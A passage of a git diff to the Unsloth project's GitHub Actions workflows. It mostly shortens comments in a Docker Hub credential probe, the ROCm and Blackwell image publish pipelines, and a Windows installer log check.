Select-String -Path $f -Pattern 'disposition=|can_auto_repair=|Managed preflight|ModuleNotFoundError' `
-ErrorAction SilentlyContinue
$found = $true
@@ -1287,8 +1102,7 @@ jobs:
}
}
}
- # Same criterion macOS and Linux enforce: Test-Path, Get-Content and Select-String
- # cannot fail, so without these two lines the step was decoration.
+ # Same criterion as macOS and Linux: nothing above can fail.
if (-not $found) {
Write-Host '::error::the app wrote no tauri.log; it never reached setup_logging'
exit 1
@@ -1297,14 +1111,8 @@ jobs:
Write-Host '::error::tauri.log records no desktop_preflight disposition; the app never completed preflight'
exit 1
}
- # All three legs now require the installer to exit 0, create the venv and import
- # torch, AND a ready disposition -- the #7547 outcome pins are gone and the
- # POSIX legs carry the same case check. Kept spelled out here because the app
- # reads the same default root it wrote
- # (%USERPROFILE%\.unsloth\studio; it ignores UNSLOTH_STUDIO_HOME, which is why
- # the log is found at the second path). So anything but a ready disposition means
- # the app cannot boot what was just installed -- the reported failure, on the very
- # field the report turned on.
+ # The app reads the default root (%USERPROFILE%\.unsloth\studio) it wrote, ignoring
+ # UNSLOTH_STUDIO_HOME, so anything but ready means it cannot boot what was installed.
Write-Host "dispositions recorded: $($dispositions -join ', ')"
if (-not ($dispositions | Where-Object { $_ -match '^(Managed|Owned|Attached)Ready$' })) {
Write-Host "::error::preflight never reported a ready disposition (saw: $($dispositions -join ', ')); the app did not recognise the environment the bundled installer just built"
diff --git a/.github/workflows/docker-credential-probe.yml b/.github/workflows/docker-credential-probe.yml
index 486e74caaf7..f2f0eaee04c 100644
--- a/.github/workflows/docker-credential-probe.yml
+++ b/.github/workflows/docker-credential-probe.yml
@@ -1,14 +1,6 @@
-# Answers one question before the Docker Hub cutover: does DOCKER_API_KEY actually
-# authenticate as REGISTRY_USERNAME, and does that account have push rights on the
-# unsloth/unsloth repository?
-#
-# docker-publish.yml has no pull_request trigger, so no PR run can ever exercise the
-# login. Without this probe the first real test would be a push to main, i.e. after
-# the publish workflow has already started building.
-#
-# workflow_dispatch only, so it never fires on its own. It pushes a scratch image of a
-# few hundred bytes to a throwaway tag, then deletes that tag again. Delete this file
-# once the cutover is done.
+# Checks that DOCKER_API_KEY logs in as REGISTRY_USERNAME and can push to unsloth/unsloth, which
+# docker-publish.yml (no PR trigger) cannot test early. Pushes then deletes a scratch tag.
+# Delete this file once the cutover is done.
name: Docker credential probe
on:
@@ -20,8 +12,7 @@ permissions:
env:
REGISTRY: docker.io
IMAGE_NAME: unsloth/unsloth
- # DOCKER_API_KEY is an organization access token, and Docker Hub expects the
- # ORGANISATION NAME as the username for those, not a person. Not a secret.
+ # Organization access tokens log in with the org name as username. Not a secret.
REGISTRY_USERNAME: unsloth
PROBE_TAG: credential-probe
@@ -30,11 +21,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Report what will be attempted
- # The key arrives as env rather than interpolated into the script below. An
- # expanded ${{ secrets.* }} is written into the step's temporary shell script
- # on the runner and, when it lands in a command line, into the process argv
- # table, both readable by anything else on the machine. Actions masks it in
- # the log, which is a different problem from where the value comes to rest.
+ # Via env, not ${{ secrets.* }} in the script, so the key never lands in the script file or argv.
env:
DOCKER_API_KEY: ${{ secrets.DOCKER_API_KEY }}
run: |
@@ -48,7 +35,6 @@ jobs:
fi
echo "DOCKER_API_KEY is present (value not printed)."
- # Step 1: does the token authenticate at all?
- name: Log in to Docker Hub
uses: docker/login-action@dbcb813823bdd20940b903addbd779551569679f # v4.6.0
with:
@@ -59,8 +45,7 @@ jobs:
- name: Confirm login succeeded
run: echo "Login OK as ${REGISTRY_USERNAME}."
- # Step 2: authentication is not authorisation. Only a real push proves write
- # access to THIS repository, so push a minimal scratch image.
+ # Authentication is not authorisation: only a real push proves write access.
- name: Build a scratch probe image
run: |
mkdir -p probe
@@ -74,25 +59,14 @@ jobs:
docker push "${IMAGE_NAME}:${PROBE_TAG}"
echo "PUSH OK: ${IMAGE_NAME}:${PROBE_TAG}"
- # Clean up so the throwaway tag does not linger on a public namespace.
- #
- # An organization access token cannot use /v2/users/login/: that endpoint
- # rejects organization accounts, so the first version of this step silently
- # got an empty token, warned, and exited 0 while the tag stayed published.
- # OATs are exchanged at /v2/auth/token instead, and the resulting JWT is
- # sent as Bearer.
- #
- # Deleting a tag needs scope-tag-admin (or scope-image-delete), which is a
- # different scope from the push permission the step above proves, so this
- # can legitimately fail on a push-only token. It still must not report
- # success: the tag is verified gone, and the step fails if it is not.
+ # OATs cannot use /v2/users/login/; exchange at /v2/auth/token and send the JWT as Bearer.
+ # Tag delete needs a different scope than push, so this may fail, but never reports a false success.
- name: Delete the probe tag
if: always() && steps.push.outcome == 'success'
env:
DOCKER_API_KEY: ${{ secrets.DOCKER_API_KEY }}
run: |
- # The body is built from the environment and handed to curl on stdin, so the
- # key is never a command-line argument.
+ # Body built from env and passed on stdin, so the key is never a command-line argument.
TOKEN="$(python3 -c 'import json,os,sys; sys.stdout.write(json.dumps({"identifier": os.environ["REGISTRY_USERNAME"], "secret": os.environ["DOCKER_API_KEY"]}))' \
| curl -s -X POST https://hub.docker.com/v2/auth/token \
-H 'Content-Type: application/json' --data-binary @- \
@@ -102,16 +76,13 @@ jobs:
echo "::error::${IMAGE_NAME}:${PROBE_TAG} is still published. Delete it by hand."
exit 1
fi
- # The organization token is only accepted on the namespace-scoped routes;
- # /v2/repositories/{owner}/{repo}/tags/... answers it with 403 whatever
- # its scopes.
+ # Org tokens are accepted only on namespace-scoped routes; /v2/repositories/... 403s.
HUB="https://hub.docker.com/v2/namespaces/${IMAGE_NAME%%/*}/repositories/${IMAGE_NAME#*/}"
CODE="$(curl -s -o /dev/stderr -w '%{http_code}' -X DELETE \
"${HUB}/tags/${PROBE_TAG}" \
-H "Authorization: Bearer ${TOKEN}")"
echo "delete returned HTTP ${CODE}"
- # Confirm against the API rather than trusting the status code.
STILL="$(curl -s -o /dev/null -w '%{http_code}' \
"${HUB}/tags/${PROBE_TAG}" -H "Authorization: Bearer ${TOKEN}")"
if [ "$STILL" = "404" ]; then
diff --git a/.github/workflows/docker-publish-rocm.yml b/.github/workflows/docker-publish-rocm.yml
index c997222ffd8..d1eb7d5fe63 100644
--- a/.github/workflows/docker-publish-rocm.yml
+++ b/.github/workflows/docker-publish-rocm.yml
@@ -1,31 +1,18 @@
-# Builds and publishes the AMD ROCm Unsloth Docker images: the training base
-# (docker/Dockerfile.rocm, :latest) and Studio, JupyterLab and the notebooks on
-# top of it (docker/Dockerfile.studio-rocm, :studio).
-#
-# No GPU runner needed: the ROCm torch wheels do not probe a device at install
-# time, and the build-time check reads torch.version.hip, a constant baked into
-# the wheel. amd64 only: neither pytorch.org nor repo.amd.com publishes ROCm
-# wheels for arm64.
-#
-# Required secret: DOCKER_API_KEY, the Docker Hub ORGANIZATION access token used
-# by docker-publish.yml. Optional variable HAS_AMD_GPU_RUNNER='true' gates the
-# smoke-test job, which needs a self-hosted runner labelled amd-gpu.
+# AMD ROCm images: training base (Dockerfile.rocm, :latest) and Studio (Dockerfile.studio-rocm, :studio).
+# No GPU runner needed; amd64 only (no arm64 ROCm wheels). HAS_AMD_GPU_RUNNER gates the smoke test.
name: Publish ROCm Docker image
on:
push:
- # Tags only, for the reason docker-publish.yml gives: publishing on every merge
- # was the bulk of the repo's Actions spend. The weekly cron is the cadence.
+ # Tags only; the weekly cron is the main cadence (per-merge publishing was too costly).
tags: ['v*']
schedule:
- # Weekly, off the hour and offset from the CUDA image's daily run.
- cron: '23 5 * * 2'
workflow_dispatch:
inputs:
unsloth_ref:
- # The stable-tag gates require this EMPTY, so a non-blank default would make
- # every UI-default dispatch publish SHA tags only.
+ # Must default EMPTY: the stable-tag gates require it.
description: 'unsloth git ref override (blank = dispatched branch + stable tags)'
required: false
default: ''
@@ -53,20 +40,15 @@ on:
env:
REGISTRY: docker.io
IMAGE_NAME: unsloth/unsloth-rocm
- # The org name, not a person: Docker Hub authenticates an organization access
- # token as the organization. See docker-publish.yml.
+ # The org name: Docker Hub authenticates an org access token as the organization.
REGISTRY_USERNAME: unsloth
DEFAULT_ROCM_VERSION: '7.2.4'
DEFAULT_TORCH_INDEX_URL: 'https://download.pytorch.org/whl/rocm7.2'
# the last ROCm with gfx906 kernels: the default base for rocm_gfx=gfx906
GFX906_ROCM_VERSION: '6.3.4'
-# Serialise per-ref runs, except on main where each RUN gets its own group: a
-# shared group DISCARDS a pending run when a newer one is queued (see
-# tests/studio/test_main_runs_survive_merge_bursts.py), and the sha alone still
-# pairs a scheduled run with a dispatch on an unchanged main, so the run id is the
-# key there. Never cancel in progress: a half-pushed digest is worse than a stale
-# :latest for a few minutes.
+# On main each RUN gets its own group so a pending run is not discarded. Never cancel in
+# progress: a half-pushed digest is worse than a briefly stale :latest.
concurrency:
group: docker-publish-rocm-${{ github.ref }}-${{ github.ref == 'refs/heads/main' && github.run_id || '' }}
cancel-in-progress: false
@@ -76,9 +58,8 @@ permissions:
contents: read
jobs:
- # Resolve the refs ONCE, to commits: docker matches a RUN layer on the command
- # string, so a mutable "main" build arg would reuse the pip layer of an earlier
- # build and report success with stale bits.
+ # Resolve refs to commits: docker caches RUN layers on the command string, so a mutable "main"
+ # would reuse a stale pip layer.
prepare:
runs-on: ubuntu-latest
timeout-minutes: 5
@@ -109,9 +90,7 @@ jobs:
if printf '%s' "$REF" | grep -Eq '^[0-9a-f]{40}$'; then
SHA="$REF"
else
- # ls-remote exits 0 whether or not a ref matched, so a non-zero exit means
- # the remote was never reached and the fallback would hand a MUTABLE name
- # to the build.
+ # ls-remote exits 0 even with no match, so non-zero means the remote was unreachable.
if ! LS_OUT="$(git ls-remote https://github.com/unslothai/unsloth "$REF")"; then
echo "::error::unslothai/unsloth unreachable; cannot freeze ref '${REF}' to a sha"
exit 1
@@ -132,9 +111,7 @@ jobs:
run: |
REF="$INPUT_REF"
if [ -z "$REF" ] && [ "$IS_TAG" = "true" ]; then
- # git documents status 2 as "reached the remote, no matching ref"; any
- # other non-zero means the lookup never happened, so swallowing both
- # lets a transport blip pair the unsloth tag with zoo main.
+ # Status 2 means no matching ref; any other non-zero is a transport failure, not a fallback.
_rc=0
git ls-remote --exit-code --tags https://github.com/unslothai/unsloth-zoo \
"refs/tags/${TAG_NAME}" >/dev/null 2>&1 || _rc=$?
@@ -159,9 +136,7 @@ jobs:
echo "ref=${SHA}" >> "$GITHUB_OUTPUT"
echo "unsloth-zoo ref: ${SHA}"
- # One commit for the notebooks the Studio image bakes, as docker-publish.yml
- # does: the layer is keyed on this string, so a mutable "main" would be a
- # cache hit on a later run and ship the old set under a new digest.
+ # Pin the notebooks to a commit: the layer is keyed on this string.
- name: Resolve unsloth/notebooks commit
id: notebooks
env:
@@ -181,9 +156,7 @@ jobs:
echo "commit=${SHA}" >> "$GITHUB_OUTPUT"
echo "notebooks commit: ${SHA}"
- # :latest and the release tags name the DEFAULT build. A dispatch that
- # changed any input (an older ROCm, another index, a per-arch build) gets
- # SHA tags only, so it can never overwrite what `docker pull` hands out.
+ # Stable tags only for the default build; changed inputs get SHA tags only.
- name: Resolve build args and the stable-tag gate
id: build_args
env:
@@ -199,9 +172,7 @@ jobs:
""|gfx906|gfx1150|gfx1151|gfx1152|gfx1200|gfx1201) ;;
*) echo "::error::rocm_gfx='${GFX}' has no per-arch wheel index (gfx906 = generic index without bitsandbytes)"; exit 1 ;;
esac
- # gfx906 has no kernels after ROCm 6.3, so its defaults are the last base
- # that carries it; the public :gfx906 tag names that pair, and a 6.4+
- # base with gfx906 is refused rather than tagged.
+ # gfx906 has no kernels after ROCm 6.3, so a 6.4+ base with gfx906 is refused.
DEF_ROCM="$DEFAULT_ROCM_VERSION"
DEF_INDEX="$DEFAULT_TORCH_INDEX_URL"
if [ "$GFX" = gfx906 ]; then
@@ -209,8 +180,7 @@ jobs:
DEF_INDEX="https://download.pytorch.org/whl/rocm${DEF_ROCM%.*}"
fi
ROCM="${IN_ROCM:-$DEF_ROCM}"
- # the index follows the base unless named: a 6.3.4 base with the 7.2
- # wheels would build (torch.version.hip is set either way) and not run
+ # The index follows the base: a mismatched wheel index builds but does not run.
INDEX="${IN_INDEX:-https://download.pytorch.org/whl/rocm${ROCM%.*}}"
if [ "$GFX" = gfx906 ]; then
case "$ROCM" in
@@ -218,9 +188,7 @@ jobs:
*) echo "::error::rocm_gfx=gfx906 needs a ROCm 6.3 base (AMD dropped gfx906 after 6.3), not ${ROCM}"; exit 1 ;;
esac
fi
- # DEFAULTS: every input other than the gfx at its default. STABLE adds a
- # blank gfx. A per-arch build gets its gfx tag only under DEFAULTS, so a
- # feature-branch ref plus gfx1151 cannot replace the public gfx1151 image.
+ # A per-arch build gets its gfx tag only with every other input at default.
DEFAULTS=true
[ -z "$IN_UNSLOTH" ] || DEFAULTS=false
case "$IN_ZOO" in ""|main) ;; *) DEFAULTS=false ;; esac
@@ -249,7 +217,6 @@ jobs:
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- # The ROCm base image plus the wheel cache do not fit the default runner disk.
- name: Reclaim disk
run: |
sudo rm -rf /usr/share/dotnet /usr/local/lib/android /opt/ghc \
@@ -269,8 +236,7 @@ jobs:
uses: docker/metadata-action@dc802804100637a589fabce1cb79ff13a1411302 # v6.2.0
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
- # The action copies the repo's Apache-2.0; the image ships AGPL-3.0 files too
- # (docker/smoke_test_rocm.py), as docker-publish.yml records for its images.
+ # Override the repo's Apache-2.0: the image also ships AGPL-3.0 files.
labels: |
org.opencontainers.image.licenses=Apache-2.0 AND AGPL-3.0-only
@@ -282,13 +248,8 @@ jobs:
file: ./docker/Dockerfile.rocm
platforms: linux/amd64
labels: ${{ steps.meta.outputs.labels }}
- # No cache-from / cache-to. mode=max on the GHA backend would export a
- # 21.4GB image's intermediate layers into the repo-wide Actions cache,
- # which already holds 40GB across 45 entries serving the notebooks pip
- # and GGUF fixtures, and would evict them by LRU. This job also runs
- # weekly while GHA drops entries unused for 7 days, so the cache would
- # usually be cold on arrival. Measured cold: 8 min of layer work plus
- # 5.6 min exporting layers.
+ # No GHA cache: this ~21 GB image's layers would evict the shared cache, and weekly runs would
+ # find it cold anyway (7-day eviction).
outputs: type=image,name=${{ env.REGISTRY }}/${{ env.IMAGE_NAME }},push-by-digest=true,name-canonical=true,push=true
build-args: |
ROCM_VERSION=${{ needs.prepare.outputs.rocm_version }}
@@ -298,11 +259,7 @@ jobs:
UNSLOTH_REF=${{ needs.prepare.outputs.unsloth_ref }}
UNSLOTH_ZOO_REF=${{ needs.prepare.outputs.zoo_ref }}
- # Attach human-readable tags to the digest pushed above. Only once the Studio
- # build has its digest too: the Hub page promises every base tag a -studio twin
- # on the same base, and a :latest that moved while the Studio build then failed
- # would leave :studio on the previous base. Both digests exist before either tag
- # moves, and the two tag jobs then run back to back in the same run.
+ # Tag only after both digests exist, so :latest and :studio always move onto the same base.
tag:
runs-on: ubuntu-latest
needs: [prepare, build, build-studio]
@@ -323,10 +280,7 @@ jobs:
uses: docker/metadata-action@dc802804100637a589fabce1cb79ff13a1411302 # v6.2.0
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
- # latest: a default-input build of the default branch (schedule or dispatch).
- # A per-arch build gets its gfx in the tag so it is findable, never latest.
- # An override build's sha tag carries the run id: two experiments at the same
- # commit would otherwise overwrite each other's only name.
+ # Override builds' sha tags carry the run id so two experiments at one commit do not collide.
tags: |
type=raw,value=latest,enable=${{ github.ref == format('refs/heads/{0}', github.event.repository.default_branch) && needs.prepare.outputs.stable == 'true' }}
type=ref,event=tag,enable=${{ needs.prepare.outputs.stable == 'true' }}
@@ -349,11 +303,7 @@ jobs:
docker buildx imagetools inspect "$tag"
done
- # Studio on the base this run pushed (docker/Dockerfile.studio-rocm), the ROCm
- # half of docker-publish.yml's build-studio. The base by DIGEST, not by tag:
- # :latest can already be a newer run's by the time this job starts. The Studio
- # refs are the ones the base baked, so both venvs run the same commit even if
- # upstream moved mid-run. Before tag, which waits on this job's digest (see there).
+ # Builds Studio on the base by DIGEST: :latest may already be a newer run's.
build-studio:
needs: [prepare, build]
runs-on: ubuntu-latest
@@ -363,8 +313,6 @@ jobs:
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- # The 21GB base is pulled onto the runner and Studio adds a second torch on
- # top, so this clears more than the base build does.
- name: Reclaim disk
run: |
sudo rm -rf /usr/share/dotnet /usr/local/lib/android /opt/ghc \
@@ -409,10 +357,8 @@ jobs:
UNSLOTH_STUDIO_ZOO_REF=${{ needs.prepare.outputs.zoo_ref }}
UNSLOTH_NOTEBOOKS_REF=${{ needs.prepare.outputs.notebooks_commit }}
- # The Dockerfile hands install.sh UNSLOTH_ALLOW_CPU=1 for the GPU-less build
- # only. Image-wide it would reach every process and turn off Unsloth's TRL
- # trainer patches on GPU hosts (#10825), so check the artifact the registry
- # serves rather than the Dockerfile text, as docker-publish.yml does.
+ # UNSLOTH_ALLOW_CPU=1 image-wide would disable Unsloth's TRL patches on GPU hosts; check the
+ # pushed image, not the Dockerfile.
- name: Assert the Studio image env cannot disable training
run: |
REF='${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ steps.build.outputs.digest }}'
@@ -422,8 +368,6 @@ jobs:
echo "$ENV_JSON" | jq -e 'map(select(startswith("UNSLOTH_ALLOW_CPU="))) | length == 0' >/dev/null \
|| { echo "::error::Studio image env carries UNSLOTH_ALLOW_CPU, which disables Unsloth's TRL patches on GPU hosts"; exit 1; }
- # The base's tag rules, each with a -studio leaf and the same gates: :studio
- # beside :latest, v1.2.3-studio, nightly-studio, gfx1151-studio, sha-<commit>-studio.
# After tag, so a :studio never points past its :latest.
tag-studio:
runs-on: ubuntu-latest
@@ -443,8 +387,8 @@ jobs:
uses: docker/metadata-action@dc802804100637a589fabce1cb79ff13a1411302 # v6.2.0
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
- # format(), not a bare ${{ }}-studio: the raw gfx line is matched by name
- # in tests/python/test_docker_rocm.py and must stay unique to the base.
+ # format(), not a bare ${{ }}-studio: tests/python/test_docker_rocm.py matches the raw gfx line
+ # by name and it must stay unique to the base.
tags: |
type=raw,value=studio,enable=${{ github.ref == format('refs/heads/{0}', github.event.repository.default_branch) && needs.prepare.outputs.stable == 'true' }}
type=ref,event=tag,suffix=-studio,enable=${{ needs.prepare.outputs.stable == 'true' }}
@@ -467,20 +411,10 @@ jobs:
docker buildx imagetools inspect "$tag"
done
- # The Docker Hub page is repository metadata that no push writes, so without
- # this it stays whatever was set by hand. Mirrors docker-publish.yml's
- # hub-readme job: synced from docker/DOCKERHUB-ROCM.md whenever :latest moved,
- # read back rather than trusted, and a token that cannot edit the description
- # fails the job rather than warning.
- #
- # The namespace-scoped route is not a style choice: the legacy
- # /v2/repositories/{owner}/{repo}/ path answers every organization access token
- # with 403 "token issued from organization access token is not allowed".
+ # Syncs docker/DOCKERHUB-ROCM.md to Hub (no push writes it), read back, failing on a token that
+ # cannot edit. Must use the namespace-scoped route: the legacy one 403s org tokens.
hub-readme:
- # prepare as well as tag: the `if` reads needs.prepare.outputs.stable, and a
- # job not listed in needs is simply absent from the context, which would make
- # the condition silently false and the page never update.
- # tag-studio too: the page describes both images, so it moves once both did.
+ # prepare is listed because the `if` reads its outputs; an unlisted job is absent from the context.
needs: [prepare, tag, tag-studio]
if: ${{ github.ref == format('refs/heads/{0}', github.event.repository.default_branch) && needs.prepare.outputs.stable == 'true' }}
runs-on: ubuntu-latest
@@ -497,8 +431,7 @@ jobs:
README=docker/DOCKERHUB-ROCM.md
test -s "$README"
HUB="https://hub.docker.com/v2/namespaces/${IMAGE_NAME%%/*}/repositories/${IMAGE_NAME#*/}"
- # Body built from the environment and handed to curl on stdin, so the key is
- # never a command-line argument.
+ # Body built from env and passed on stdin, so the key is never a command-line argument.
TOKEN="$(python3 -c 'import json,os,sys; sys.stdout.write(json.dumps({"identifier": os.environ["REGISTRY_USERNAME"], "secret": os.environ["DOCKER_API_KEY"]}))' \
| curl -sS -X POST https://hub.docker.com/v2/auth/token \
-H 'Content-Type: application/json' --data-binary @- \
@@ -521,9 +454,7 @@ jobs:
fi
echo "Hub page for ${IMAGE_NAME} now matches ${README}."
- # Optional: pull THIS run's digest onto a self-hosted AMD GPU runner and train
- # for five steps. The digest, not a tag: a tag can already point at a newer
- # run by the time this job starts.
+ # Pulls this run's digest, not a tag, which may already point at a newer run.
smoke-test:
needs: [build, tag]
if: ${{ vars.HAS_AMD_GPU_RUNNER == 'true' }}
diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml
index 614afe3246f..dac0352d961 100644
--- a/.github/workflows/docker-publish.yml
+++ b/.github/workflows/docker-publish.yml
@@ -1,34 +1,19 @@
-# Builds and publishes the Blackwell-compatible Unsloth Docker image.
-#
-# No GPU runner needed: cu128 wheels are fat binaries, the build-time check uses
-# torch._C._cuda_getArchFlags(), and UNSLOTH_COMPILE_DISABLE=1 blocks GPU-keyed JIT.
-#
-# Required secret: DOCKER_API_KEY, a Docker Hub ORGANIZATION access token for the
-# unsloth org. It logs in as REGISTRY_USERNAME below, which is the org name.
-# Optional variable HAS_GPU_RUNNER='true' gates the smoke-test job.
+# No GPU runner needed: cu128 wheels are fat binaries and UNSLOTH_COMPILE_DISABLE=1 blocks GPU JIT.
+# DOCKER_API_KEY is an org access token. HAS_GPU_RUNNER='true' gates the smoke test.
name: Publish Blackwell Docker image
on:
push:
- # Deliberately NOT branches: [main]. Publishing on every merge meant 23 runs on
- # 2026-09-06 and 14 on 2026-09-05 against one scheduled run each day, and since
- # each is a two-arch build of both images it was the bulk of the repo's Actions
- # cache and a large share of its runner minutes. The daily cron below is the
- # release cadence for main now. Tags still publish immediately: a release that
- # produced no image until the next morning would be worse than the spend.
+ # Not on main merges (too costly); the daily cron publishes main. Tags publish immediately.
tags: ['v*']
schedule:
- # Daily. Actions cron is UTC with no DST handling, so this is 11:17 in San
- # Francisco under PDT and drifts to 10:17 under PST; no expression holds
- # 11:00 local all year. Minute is off-the-hour on purpose: runs scheduled on
- # the hour queue behind the platform-wide peak and can be dropped.
+ # Off the hour: on-the-hour cron runs queue behind the global peak and can be dropped.
- cron: '17 18 * * *'
workflow_dispatch:
inputs:
unsloth_ref:
- # The stable-tag gates require this EMPTY, so a non-blank default would make
- # every UI-default dispatch publish SHA tags only.
+ # Must default EMPTY: the stable-tag gates require it.
description: 'unsloth git ref override (blank = dispatched branch + stable tags)'
required: false
default: ''
@@ -48,24 +33,10 @@ on:
env:
REGISTRY: docker.io
IMAGE_NAME: unsloth/unsloth
- # DOCKER_API_KEY is an ORGANIZATION access token, and Docker Hub authenticates an
- # OAT as the ORGANISATION, not as whoever created it. So this is the org name and
- # must stay that way: putting a person's account here fails every login, which is
- # why it is spelled out rather than left to look like an arbitrary owner field.
- # Not a secret, and named once so the four login steps cannot drift apart.
+ # Must be the org name: Docker Hub authenticates an org access token as the organization.
REGISTRY_USERNAME: unsloth
-# Serialise per-ref runs, EXCEPT on main where each run gets its own group: a shared
-# group does not queue a burst, it DISCARDS it (GitHub cancels any PENDING run the
-# moment a newer one is queued), so the earlier one would publish no image at all.
-# Merges no longer trigger this workflow, so the burst it now guards against is a
-# scheduled run overlapping a workflow_dispatch, rather than a merge burst. Keeping
-# the per-sha key costs nothing and still prevents a dispatch being discarded.
-# Each published image is internally coherent either way: the digest handoff and the
-# smoke test resolve this run's own tag, not tags[0], and verify it.
-# Dropping the main push trigger also drops this workflow out of the scan in
-# tests/studio/test_main_runs_survive_merge_bursts.py, which selects on
-# `push.branches` containing main, so no exemption is needed there.
+# On main each run gets its own group so an overlapping schedule/dispatch is not discarded.
concurrency:
group: docker-publish-${{ github.ref }}-${{ github.ref == 'refs/heads/main' && github.sha || '' }}
cancel-in-progress: false
@@ -111,9 +82,7 @@ jobs:
run: |
TAG="$INPUT_TAG"
if [ -z "$TAG" ]; then
- # No explicit `shell:`, so `bash -e` runs WITHOUT pipefail and a failing
- # curl inside `curl | sed` is lost: the step exits 0 with the MUTABLE
- # tag=latest, which every consumer then resolves again.
+ # No explicit `shell:`, so no pipefail: a failing curl inside `curl | sed` would yield tag=latest.
if ! REDIRECT="$(curl -fsSL -o /dev/null -w '%{url_effective}' \
https://github.com/unslothai/llama.cpp/releases/latest)"; then
echo "::error::unslothai/llama.cpp unreachable; cannot resolve the newest prebuilt tag"
@@ -143,9 +112,7 @@ jobs:
if printf '%s' "$REF" | grep -Eq '^[0-9a-f]{40}$'; then
SHA="$REF"
else
- # ls-remote exits 0 whether or not a ref matched, so a non-zero exit means
- # the remote was never reached and the fallback would hand a MUTABLE name
- # to three builds that each resolve it again.
+ # ls-remote exits 0 even with no match, so non-zero means the remote was unreachable.
if ! LS_OUT="$(git ls-remote https://github.com/unslothai/unsloth "$REF")"; then
echo "::error::unslothai/unsloth unreachable; cannot freeze ref '${REF}' to a sha"
exit 1
@@ -162,9 +129,7 @@ jobs:
run: |
REF="${{ github.event.inputs.unsloth_zoo_ref }}"
if [ -z "$REF" ] && [ "${{ startsWith(github.ref, 'refs/tags/') }}" = "true" ]; then
- # git documents status 2 as "reached the remote, no matching ref"; any
- # other non-zero means the lookup never happened, so swallowing both
- # lets a transport blip pair the unsloth tag with zoo main.
+ # Status 2 means no matching ref; any other non-zero is a transport failure, not a fallback.
_rc=0
git ls-remote --exit-code --tags https://github.com/unslothai/unsloth-zoo \
"refs/tags/${{ github.ref_name }}" >/dev/null 2>&1 || _rc=$?
@@ -265,15 +230,10 @@ jobs:
file: ./docker/Dockerfile
platforms: ${{ matrix.platform }}
labels: ${{ steps.meta.outputs.labels }}
- # No cache-from / cache-to. The buildcache-core-* refs this used to write
- # held 21.29GB (amd64) and 20.26GB (arm64) on the image's own Docker Hub
- # repo, and prepare freezes UNSLOTH_REF / UNSLOTH_ZOO_REF to SHAs that move
- # most nights, so the install layer they were meant to save is invalidated
- # anyway. What is left is the base and apt layers, against a build whose
- # wall time is dominated by exporting and pushing 27GB.
+ # No registry cache: the frozen refs move most nights, so the install layer is invalidated anyway
+ # and the cache cost ~20 GB per arch.
outputs: type=image,name=${{ env.REGISTRY }}/${{ env.IMAGE_NAME }},push-by-digest=true,name-canonical=true,push=true
- # Keep prose OUT of build-args: build-push-action forwards every non-empty
- # line verbatim, so a #-line becomes a bogus --build-arg.
+ # Keep comments OUT of build-args: every non-empty line becomes a --build-arg.
build-args: |
CUDA_VERSION=12.8.1
UBUNTU_VERSION=24.04
@@ -380,11 +340,8 @@ jobs:
# Confirm it holds what this run pushed: baking another run's base is silent.
REF="${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${DIGEST}"
CHILDREN="$(docker buildx imagetools inspect --raw "$REF" | jq -r '.manifests[]?.digest')"
- # A build leg does not push a bare image manifest: with provenance and SBOM
- # on, buildx pushes each arch as an OCI index (image + attestation) and
- # `imagetools create` flattens THOSE children into the merged index, so the
- # per-arch index digest itself never appears there. Comparing at the wrong
- # level failed the first publish runs on main against a correct manifest.
+ # Per-arch pushes are OCI indexes (image + attestation) that the merge flattens, so compare
+ # their children, not the per-arch index digest.
missing=0
for d in *; do
want="$(docker buildx imagetools inspect --raw "${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@sha256:${d}" \
@@ -458,22 +415,16 @@ jobs:
platforms: ${{ matrix.platform }}
labels: ${{ steps.meta.outputs.labels }}
# No cache-from / cache-to, for the same reason as the core build above.
- # The buildcache-studio-* refs held 13.90GB (amd64) and 13.48GB (arm64),
- # and at mode=min they only carried the final layers in the first place.
outputs: type=image,name=${{ env.REGISTRY }}/${{ env.IMAGE_NAME }},push-by-digest=true,name-canonical=true,push=true
- # the same values the base build baked, so Studio matches it even if upstream
- # moved mid-run (build-args must be KEY=VALUE only)
+ # Same values the base build baked (build-args must be KEY=VALUE only).
build-args: |
BASE_IMAGE=${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ needs.merge.outputs.digest }}
UNSLOTH_STUDIO_REF=${{ needs.prepare.outputs.unsloth_ref }}
UNSLOTH_STUDIO_ZOO_REF=${{ needs.prepare.outputs.zoo_ref }}
LLAMA_PREBUILT_TAG=${{ needs.prepare.outputs.llama_tag }}
- # A GPU-free check on the artifact the registry serves, not on the Dockerfile
- # text: an image-wide UNSLOTH_ALLOW_CPU reaches every process and turns off
- # Unsloth's TRL trainer patches on GPU hosts (#10825), and the smoke-test job
- # below needs a GPU runner this repo does not have. The image opts in to CPU
- # hosts through UNSLOTH_IMAGE_ALLOW_CPU=1 instead; entrypoint.sh translates it.
+ # An image-wide UNSLOTH_ALLOW_CPU would disable Unsloth's TRL patches on GPU hosts; check the
+ # pushed image. The image opts in via UNSLOTH_IMAGE_ALLOW_CPU=1, translated by entrypoint.sh.
- name: Assert the Studio image env cannot disable training
run: |
REF='${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ steps.build.outputs.digest }}'
@@ -528,8 +479,7 @@ jobs:
uses: docker/metadata-action@dc802804100637a589fabce1cb79ff13a1411302 # v6.2.0
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
- # latest=false disables the implicit latest=auto, which would emit :latest on
- # a v* tag push and bypass the default-branch-only gate below
+ # Disables implicit latest=auto, which would tag :latest on a v* push and bypass the gate below.
flavor: latest=false
tags: |
